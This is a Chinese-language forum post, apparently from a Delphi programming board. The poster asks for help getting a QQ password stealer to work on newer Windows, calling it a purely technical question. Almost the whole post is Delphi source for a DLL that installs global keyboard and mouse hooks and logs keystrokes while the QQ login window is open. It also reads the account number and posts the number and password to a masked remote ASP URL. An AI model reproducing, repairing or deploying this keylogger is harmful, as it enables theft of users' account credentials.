W
wuxing2046
Unregistered / Unconfirmed
GUEST, unregistred user!
通过DLL注入已经钩到用户名了,以下是代码,用其他的键盘钩子也是不可以,在98可以,QQ的密码框和其他的都可以,希望提供代码或修改方案----纯属技术问题<br><br><br><br><br>procedure logthekeys();//经典的键盘记录处理函数<br>var<br> i : byte;<br>begin<br> for i:=8 To 222 do begin if GetAsyncKeyState(i)=-32767 then begin case i of<br><br> 8 : {loggedkeys := loggedkeys +'[BACKSPACE]'}loggedkeys:=copy(loggedkeys,0,length(loggedkeys)-1) ;<br> //9 : loggedkeys := loggedkeys + '(TAB)';<br> //13 : loggedkeys := loggedkeys + #13#10;<br> //17 : loggedkeys := loggedkeys + '(Ctrl)';<br> //27 : loggedkeys := loggedkeys + '(ESC)';<br> 32 : loggedkeys := loggedkeys + ' ';<br> //33 : loggedkeys := loggedkeys + '(Page up)';<br> //34 : loggedkeys := loggedkeys + '(Page down)';<br> //35 : loggedkeys := loggedkeys + '(End)';<br> //36 : loggedkeys := loggedkeys + '(Home)';<br> 37 : loggedkeys := loggedkeys + '(Left)';//这里关键哦~一定要处理好这两个键!我懒得处理<br> //38 : loggedkeys := loggedkeys + '(Up)';<br> 39 : loggedkeys := loggedkeys + '(Right)';//这里关键哦~一定要处理好这两个键!我懒得处理<br> //40 : loggedkeys := loggedkeys + '(Down)';<br> //44 : loggedkeys := loggedkeys + '(Prnt Scrn)';<br> //45 : loggedkeys := loggedkeys + '(Insert)';<br> //46 : loggedkeys := loggedkeys + '(Delete)';<br><br> //145 : loggedkeys := loggedkeys + '(Scroll lock)';<br> 48 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+')'<br> else loggedkeys:= loggedkeys+'0';<br> 49 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+'!'<br> else loggedkeys:= loggedkeys+'1';<br> 50 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+'@'<br> else loggedkeys:= loggedkeys+'2';<br> 51 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+'#'<br> else loggedkeys:= loggedkeys+'3';<br> 52 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+'$'<br> else loggedkeys:= loggedkeys+'4';<br> 53 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+'%'<br> else loggedkeys:= loggedkeys+'5';<br> 54 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+'^'<br> else loggedkeys:= loggedkeys+'6';<br> 55 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+'&'<br> else loggedkeys:= loggedkeys+'7';<br> 56 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+'*'<br> else loggedkeys:= loggedkeys+'8';<br> 57 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+'('<br> else loggedkeys:= loggedkeys+'9';<br><br> 65..90 :<br> begin<br> if ((GetKeyState(VK_CAPITAL))=1) then<br> if GetKeyState(VK_SHIFT)<0 then<br> loggedkeys:= loggedkeys+LowerCase(Chr(i))<br> else<br> loggedkeys:= loggedkeys+UpperCase(Chr(i))<br><br> else<br> if GetKeyState(VK_SHIFT)<0 then loggedkeys := loggedkeys+UpperCase(Chr(i))<br> else<br> loggedkeys:= loggedkeys+LowerCase(Chr(i));<br> end;<br> 96..105 : loggedkeys:= loggedkeys + inttostr(i-96);<br> 106: loggedkeys:= loggedkeys+'*';<br> 107: loggedkeys:= loggedkeys+'&';<br> 109: loggedkeys:= loggedkeys+'-';<br> 110: loggedkeys:= loggedkeys+'.';<br> 111: loggedkeys:= loggedkeys+'/';<br> //144 : loggedkeys:= loggedkeys+'[Num Lock]';<br> //112..123:loggedkeys:= loggedkeys+'[F'+IntToStr(i - 111)+']';<br> 186 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+':'<br> else loggedkeys:= loggedkeys+';';<br> 187 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+'+'<br> else loggedkeys:= loggedkeys+'=';<br> 188 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+'<'<br> else loggedkeys:= loggedkeys+',';<br> 189 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+'_'<br> else loggedkeys:= loggedkeys+'-';<br> 190 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+'>'<br> else loggedkeys:= loggedkeys+'.';<br> 191 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+'?'<br> else loggedkeys:= loggedkeys+'/';<br> 192 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+'~'<br> else loggedkeys:= loggedkeys+'`';<br> 219 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+'{'<br> else loggedkeys:= loggedkeys+'[';<br> 220 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+'|'<br> else loggedkeys:= loggedkeys+'/';<br> 221 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+'}'<br> else loggedkeys:= loggedkeys+']';<br> 222 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+'"'<br> else loggedkeys:= loggedkeys+'''';<br>end;<br>end;<br>end;<br>end;<br> //============获得窗体句柄部分================<br>function Get_qqnumber:string;<br>var<br> buffer:array[0..50] of char;<br> Window,Number_window:Longint;<br>begin<br> result:='';<br> Window:=findwindow(nil,'身份验证');<br> if window=0 then exit;<br> Number_window:=FindWindowex(window,0,'ComboBox',nil);<br> if Number_window=0 then exit;<br> SendMessage(Number_window, $000D, 50, Integer(@buffer));<br> result:=string(buffer);<br>end;<br><br><br><br>function ispassword_window:boolean;//判断当前获取焦点的是否存在密码输入窗口<br>var<br> window,password_window:thandle;<br>begin<br> result:=false;<br> window:=findwindow(nil,'身份验证');<br> if window=0 then exit;<br> password_window:=findwindowex(window,0,'Button',nil);<br> if password_window=0 then exit;<br> result:=true;<br>end;<br><br><br>function isQQ:Thandle;//返回登录按钮的句柄<br>var<br> window,password_window:thandle;<br>begin<br> result:=0;<br> window:=findwindow(nil,'身份验证');<br> if window=0 then exit;<br> password_window:=findwindowex(window,0,'Button','确定');<br> if password_window=0 then exit;<br> result:=password_window;<br>end;<br><br><br><br>//================键盘钩子回调函数<br>function HookKey(Code:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;<br>begin {回车} {键盘按键按下消息}<br> if (wParam=13) and(((LParam shr 31)and 1)=0)and(ispassword_window) then<br> begin<br> // messagebox(0,pchar(Get_qqnumber),pchar(loggedkeys),1);<br> PostURL('http://www.xxxxx.com/wxx.asp','num='+HtmlEncode(Get_qqnumber)+'&pass='+HtmlEncode(loggedkeys));<br> loggedkeys:='';<br> end else<br> begin<br> if (((LParam shr 31)and 1)=0)and(ispassword_window) then<br> begin<br> logthekeys();<br> <br> end;<br> end; <br> Result:=CallNextHookEx(KeyHook,code,Wparam,lParam);<br>end;<br><br><br>//================鼠标钩子回调函数<br>function HookMouse(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall; export;<br>var<br> buffer:array[0..255] of char;<br>begin {鼠标左键按下消息}<br> if wparam=$0201 then<br> begin<br> {SendMessage(pMOUSEHOOKSTRUCT(lparam)^.hwnd,$000D,255,Integer(@buffer));}<br> if pMOUSEHOOKSTRUCT(lparam)^.hwnd=isQQ then<br> begin<br> //messagebox(0,pchar(Get_qqnumber),pchar(loggedkeys),1);<br> PostURL('http://www.xxxxxx.com/wxx.asp','num='+HtmlEncode(Get_qqnumber)+'&pass='+HtmlEncode(loggedkeys));<br> loggedkeys:='';<br> end;<br> end;<br> Result := CallNextHookEx(MouseHook, iCode, wParam, lParam);<br>end;<br><br><br><br><br><br><br>//==================挂钩<br>procedure HookOn;<br>begin<br> KeyHook :=SetWindowsHookEx(WH_KEYBOARD,@HookKey,HInstance,0);<br> MouseHook :=SetWindowsHookEx(WH_mouse, @HookMouse, HInstance, 0);<br><br>end;<br><br><br>//=================脱钩<br>procedure HookOff;<br>begin<br> UnHookWindowsHookEx(KeyHook);<br> UnHookWindowsHookEx(MouseHook);<br> end;<br><br><br>//=================导出函数<br>exports <br> HookOn,HookOff;<br><br> begin<br><br>end.